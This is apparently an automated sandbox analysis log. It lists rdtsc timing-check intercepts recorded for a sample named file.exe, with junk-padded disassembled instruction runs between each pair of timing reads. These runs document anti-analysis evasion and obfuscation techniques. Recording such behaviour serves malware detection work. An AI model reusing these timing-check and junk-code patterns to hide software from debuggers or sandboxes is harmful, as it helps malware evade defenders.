Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930313 second address: 4930349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FCDDCC991DDh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007FCDDCC991DEh 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a push esi 0x0000001b mov di, B130h 0x0000001f pop edi 0x00000020 push eax 0x00000021 push edx 0x00000022 movzx ecx, dx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496002C second address: 4960067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FCDDCF97D1Ch 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FCDDCF97D1Bh 0x0000000f jmp 00007FCDDCF97D23h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a mov ebx, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e mov ebx, eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960067 second address: 496006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496006B second address: 4960101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FCDDCF97D1Fh 0x0000000f add si, 84AEh 0x00000014 jmp 00007FCDDCF97D29h 0x00000019 popfd 0x0000001a movzx ecx, dx 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FCDDCF97D29h 0x00000026 jmp 00007FCDDCF97D1Bh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007FCDDCF97D28h 0x00000032 xor cx, 9BB8h 0x00000037 jmp 00007FCDDCF97D1Bh 0x0000003c popfd 0x0000003d popad 0x0000003e mov ebp, esp 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 mov edx, eax 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960101 second address: 4960198 instructions: 0x00000000 rdtsc 0x00000002 mov al, 68h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FCDDCC991E3h 0x0000000c or si, 5A2Eh 0x00000011 jmp 00007FCDDCC991E9h 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ecx 0x00000019 jmp 00007FCDDCC991DEh 0x0000001e push eax 0x0000001f pushad 0x00000020 pushad 0x00000021 mov di, 56F2h 0x00000025 mov edx, 1984F03Eh 0x0000002a popad 0x0000002b mov ax, di 0x0000002e popad 0x0000002f xchg eax, ecx 0x00000030 pushad 0x00000031 push edx 0x00000032 pushfd 0x00000033 jmp 00007FCDDCC991DAh 0x00000038 sub cx, AA08h 0x0000003d jmp 00007FCDDCC991DBh 0x00000042 popfd 0x00000043 pop esi 0x00000044 mov esi, edx 0x00000046 popad 0x00000047 push ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FCDDCC991E7h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49602F6 second address: 49602FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49602FC second address: 4960300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960323 second address: 4960327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960327 second address: 496032D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496032D second address: 4960349 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov dh, 86h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960349 second address: 4950014 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FCDDCC991DEh 0x0000000f leave 0x00000010 pushad 0x00000011 mov eax, 705FE8ADh 0x00000016 mov ebx, ecx 0x00000018 popad 0x00000019 retn 0004h 0x0000001c nop 0x0000001d cmp eax, 00000000h 0x00000020 setne al 0x00000023 xor ebx, ebx 0x00000025 test al, 01h 0x00000027 jne 00007FCDDCC991D7h 0x00000029 xor eax, eax 0x0000002b sub esp, 08h 0x0000002e mov dword ptr [esp], 00000000h 0x00000035 mov dword ptr [esp+04h], 00000000h 0x0000003d call 00007FCDE1442613h 0x00000042 mov edi, edi 0x00000044 jmp 00007FCDDCC991DBh 0x00000049 xchg eax, ebp 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950014 second address: 495002F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495002F second address: 4950035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950035 second address: 4950039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950039 second address: 495007C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FCDDCC991DEh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FCDDCC991E0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FCDDCC991E7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495007C second address: 4950082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950082 second address: 4950086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950086 second address: 4950096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950096 second address: 495009A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495009A second address: 495009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495009E second address: 49500A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49500A4 second address: 4950105 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FCDDCF97D19h 0x0000000e jmp 00007FCDDCF97D26h 0x00000013 push eax 0x00000014 jmp 00007FCDDCF97D1Bh 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e mov bx, 021Ah 0x00000022 mov si, bx 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 jmp 00007FCDDCF97D1Ch 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 pushad 0x00000032 mov cx, di 0x00000035 push eax 0x00000036 push edx 0x00000037 push ebx 0x00000038 pop esi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950105 second address: 4950149 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FCDDCC991DFh 0x00000008 and cx, 411Eh 0x0000000d jmp 00007FCDDCC991E9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FCDDCC991DDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950149 second address: 495016C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FCDDCF97D19h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495016C second address: 49501A5 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 movzx eax, dx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007FCDDCC991E9h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FCDDCC991DCh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49501A5 second address: 49501AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49501AB second address: 4950258 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e mov dl, 99h 0x00000010 movzx eax, bx 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 jmp 00007FCDDCC991E2h 0x0000001d pop eax 0x0000001e pushad 0x0000001f mov bl, cl 0x00000021 push edi 0x00000022 mov ecx, 03BAEAE5h 0x00000027 pop ecx 0x00000028 popad 0x00000029 mov eax, dword ptr fs:[00000000h] 0x0000002f jmp 00007FCDDCC991E1h 0x00000034 nop 0x00000035 pushad 0x00000036 mov al, 69h 0x00000038 mov eax, ebx 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007FCDDCC991E2h 0x00000041 nop 0x00000042 jmp 00007FCDDCC991E0h 0x00000047 sub esp, 18h 0x0000004a jmp 00007FCDDCC991E0h 0x0000004f xchg eax, ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FCDDCC991E7h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950258 second address: 49502B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ecx, edi 0x0000000d mov dh, A6h 0x0000000f popad 0x00000010 xchg eax, ebx 0x00000011 jmp 00007FCDDCF97D22h 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 mov dx, si 0x0000001b call 00007FCDDCF97D1Ah 0x00000020 movzx esi, bx 0x00000023 pop edi 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FCDDCF97D1Fh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49502B7 second address: 49502BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49502BB second address: 49502C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49502C1 second address: 4950304 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FCDDCC991E0h 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FCDDCC991E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950304 second address: 495035F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FCDDCF97D29h 0x00000011 call 00007FCDDCF97D20h 0x00000016 pop esi 0x00000017 popad 0x00000018 popad 0x00000019 xchg eax, edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FCDDCF97D1Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495035F second address: 4950397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [769B4538h] 0x0000000e pushad 0x0000000f push esi 0x00000010 push ebx 0x00000011 pop esi 0x00000012 pop ebx 0x00000013 call 00007FCDDCC991DCh 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b popad 0x0000001c xor dword ptr [ebp-08h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FCDDCC991DAh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950397 second address: 49503BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCDDCF97D22h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49503BC second address: 49503C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49503C2 second address: 49503C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49503C6 second address: 49503F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FCDDCC991DEh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 mov cx, dx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49504C4 second address: 49504CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49504CC second address: 49504E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49504E6 second address: 495054F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a pushad 0x0000000b mov di, 55C0h 0x0000000f movsx edi, cx 0x00000012 popad 0x00000013 jns 00007FCDDCF97D38h 0x00000019 jmp 00007FCDDCF97D20h 0x0000001e add eax, ecx 0x00000020 jmp 00007FCDDCF97D20h 0x00000025 mov ecx, dword ptr [ebp+08h] 0x00000028 jmp 00007FCDDCF97D20h 0x0000002d test ecx, ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FCDDCF97D27h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494037A second address: 4940389 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940389 second address: 49403F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FCDDCF97D1Fh 0x00000009 adc si, E83Eh 0x0000000e jmp 00007FCDDCF97D29h 0x00000013 popfd 0x00000014 call 00007FCDDCF97D20h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FCDDCF97D1Eh 0x00000025 xor ah, 00000068h 0x00000028 jmp 00007FCDDCF97D1Bh 0x0000002d popfd 0x0000002e push eax 0x0000002f push edx 0x00000030 movzx esi, bx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49403F4 second address: 494045B instructions: 0x00000000 rdtsc 0x00000002 mov dh, 73h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 jmp 00007FCDDCC991DAh 0x0000000d xchg eax, edi 0x0000000e jmp 00007FCDDCC991E0h 0x00000013 push eax 0x00000014 pushad 0x00000015 jmp 00007FCDDCC991E1h 0x0000001a mov ebx, esi 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FCDDCC991E8h 0x00000025 xor cl, FFFFFF88h 0x00000028 jmp 00007FCDDCC991DBh 0x0000002d popfd 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494045B second address: 494045F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940552 second address: 4940558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940558 second address: 494055C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494060F second address: 4940615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940615 second address: 4940619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940649 second address: 4940703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov di, cx 0x0000000f mov ebx, eax 0x00000011 popad 0x00000012 jg 00007FCE4ECB6FFCh 0x00000018 jmp 00007FCDDCC991E4h 0x0000001d js 00007FCDDCC99221h 0x00000023 jmp 00007FCDDCC991E0h 0x00000028 cmp dword ptr [ebp-14h], edi 0x0000002b jmp 00007FCDDCC991E0h 0x00000030 jne 00007FCE4ECB6FC8h 0x00000036 pushad 0x00000037 mov bx, ax 0x0000003a call 00007FCDDCC991DAh 0x0000003f jmp 00007FCDDCC991E2h 0x00000044 pop esi 0x00000045 popad 0x00000046 mov ebx, dword ptr [ebp+08h] 0x00000049 pushad 0x0000004a mov di, 0382h 0x0000004e push edx 0x0000004f jmp 00007FCDDCC991E6h 0x00000054 pop eax 0x00000055 popad 0x00000056 lea eax, dword ptr [ebp-2Ch] 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FCDDCC991DCh 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49407F0 second address: 4940815 instructions: 0x00000000 rdtsc 0x00000002 call 00007FCDDCF97D28h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940815 second address: 494081B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940869 second address: 494086E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494086E second address: 494002D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b pushad 0x0000000c mov si, di 0x0000000f pushfd 0x00000010 jmp 00007FCDDCC991E1h 0x00000015 jmp 00007FCDDCC991DBh 0x0000001a popfd 0x0000001b popad 0x0000001c test esi, esi 0x0000001e pushad 0x0000001f call 00007FCDDCC991E4h 0x00000024 mov di, ax 0x00000027 pop esi 0x00000028 mov dl, E3h 0x0000002a popad 0x0000002b je 00007FCE4ECB6F71h 0x00000031 xor eax, eax 0x00000033 jmp 00007FCDDCC7290Ah 0x00000038 pop esi 0x00000039 pop edi 0x0000003a pop ebx 0x0000003b leave 0x0000003c retn 0004h 0x0000003f nop 0x00000040 cmp eax, 00000000h 0x00000043 setne cl 0x00000046 xor ebx, ebx 0x00000048 test cl, 00000001h 0x0000004b jne 00007FCDDCC991D7h 0x0000004d jmp 00007FCDDCC9934Bh 0x00000052 call 00007FCDE1432475h 0x00000057 mov edi, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushfd 0x0000005d jmp 00007FCDDCC991E4h 0x00000062 adc ecx, 427759D8h 0x00000068 jmp 00007FCDDCC991DBh 0x0000006d popfd 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494002D second address: 4940053 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edi, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCDDCF97D29h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940053 second address: 4940070 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940070 second address: 49400C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FCDDCF97D20h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FCDDCF97D20h 0x00000016 xchg eax, ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FCDDCF97D27h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400C1 second address: 49400C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400C7 second address: 49400CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400CB second address: 49400CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400CF second address: 4940117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FCDDCF97D1Eh 0x0000000e xchg eax, ecx 0x0000000f jmp 00007FCDDCF97D20h 0x00000014 mov dword ptr [ebp-04h], 55534552h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FCDDCF97D27h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940C97 second address: 4940CAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940CAF second address: 4940CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940CB3 second address: 4940CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FCDDCC991DCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FCDDCC991E7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940CE4 second address: 4940D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCDDCF97D1Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D12 second address: 4940D3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FCDDCC991DDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D3D second address: 4940D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D43 second address: 4940D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D47 second address: 4940D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D4B second address: 4940D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FCE4ECA6E82h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edx, esi 0x00000013 movzx eax, dx 0x00000016 popad 0x00000017 rdtsc
